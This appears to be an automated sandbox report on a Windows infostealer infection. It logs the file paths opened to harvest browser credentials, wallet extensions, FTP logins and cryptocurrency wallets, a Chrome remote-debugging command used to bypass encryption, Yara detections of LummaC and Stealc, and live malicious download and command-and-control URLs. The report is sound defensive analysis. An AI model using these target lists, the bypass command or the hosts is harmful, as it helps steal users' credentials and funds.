Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT

Source: Yara match	File source: 0000000A.00000003.3144560699.0000000001415000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.3005078237.0000000001774000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2973104659.00000000017D4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2972431197.0000000001774000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.3163062280.0000000001415000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2972497685.00000000017D4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.3027483496.0000000001777000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2991298066.00000000017CB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.3228649790.0000000001415000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.3199096134.0000000001415000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.3011062544.0000000001777000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2991245775.0000000001776000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2989979578.00000000017CA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.3170943113.0000000001416000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 51d383286f.exe PID: 8020, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8ab7de79e4.exe PID: 7096, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 51d383286f.exe PID: 3292, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Credential Flusher

Source: Yara match	File source: 00000024.00000002.3415548136.0000000000ED8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.3178957327.000000000101F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 436631dbc3.exe PID: 2788, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 51d383286f.exe PID: 8020, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 51d383286f.exe PID: 3292, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000009.00000002.3409739852.0000000000DE1000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.3186567211.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.3024295095.00000000053B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3424417646.000000000178E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3414326186.0000000000DE1000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 8ab7de79e4.exe PID: 7096, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	311 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	11 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	3 Obfuscated Files or Information	Security Account Manager	11 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	12 Process Injection	12 Software Packing	NTDS	246 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	861 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	361 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	361 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	1 Remote System Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	58%	ReversingLabs	Win32.Packed.Themida
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	100%	Avira	TR/Crypt.ZPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.ZPACK.Gen
C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	50%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	32%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	27%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	32%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe	34%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	32%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	32%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	50%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	27%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	34%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	58%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
http://185.215.113.206IJK	0%	Avira URL Cloud	safe
http://185.215.113.16/well/random.exet	100%	Avira URL Cloud	phishing
http://185.215.113.16/off/def.exerf	100%	Avira URL Cloud	phishing
http://185.215.113.43/Zu7JuNko/index.phpncodedq:	100%	Avira URL Cloud	malware
http://185.215.113.16/off/random.exeo	100%	Avira URL Cloud	phishing
http://185.215.113.16/off/def.exe32	100%	Avira URL Cloud	phishing
http://31.41.244.11/files/random.exe43/	100%	Avira URL Cloud	phishing
http://detectportal.firefox.com0	0%	Avira URL Cloud	safe
https://fpn.firefox.cominternal-look-and-feel-changed	0%	Avira URL Cloud	safe
https://cook-rain.sbs/api9	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exe)	100%	Avira URL Cloud	phishing
https://cook-rain.sbs:443/apirsion.txtPK	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	high
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	high
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	high
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	high
cook-rain.sbs	188.114.96.3	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
s-part-0039.t-0009.t-msedge.net	13.107.246.67	true	false	high
home.fvtejj5vs.top	62.76.234.151	true	false	high
contile.services.mozilla.com	34.117.188.166	true	false	high
youtube.com	142.250.186.46	true	false	high
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	high
ipv4only.arpa	192.0.0.170	true	false	high
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	high
www.google.com	142.250.186.100	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
spocs.getpocket.com	unknown	unknown	false	high
detectportal.firefox.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high
content-signature-2.cdn.mozilla.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403	false	high
p10tgrace.sbs	false	high
p3ar11fter.sbs	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://cook-rain.sbs/api9	51d383286f.exe, 0000000A.00000002.3420531192.0000000001388000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000002.3425142798.000000000142E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://mozilla.org/#/properties/proposedEnrollment	firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://detectportal.firefox.com0	firefox.exe, 0000001B.00000002.3318960215.000001D16D6E6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	false		high
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3292161020.000001D15DED7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpncodedq:	skotes.exe, 00000006.00000002.3419368959.0000000001AB7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://json-schema.org/draft/2019-09/schema.	firefox.exe, 0000001B.00000002.3367376617.000001D17078B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206IJK	8ab7de79e4.exe, 00000009.00000002.3409739852.0000000000EB4000.00000040.00000001.01000000.0000000C.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.o	firefox.exe, 0000001B.00000002.3406053567.0000342CB2700000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/pocketShowLessFrequentlyCaphttp://mozilla.org/#/properties/quickSugg	firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mail.google.com/mail/?extsrc=mailto&url=%sPdfJs.init	firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/spocs	firefox.exe, 0000001B.00000002.3385166704.000001D175D46000.00000004.00000800.00020000.00000000.sdmp	false		high
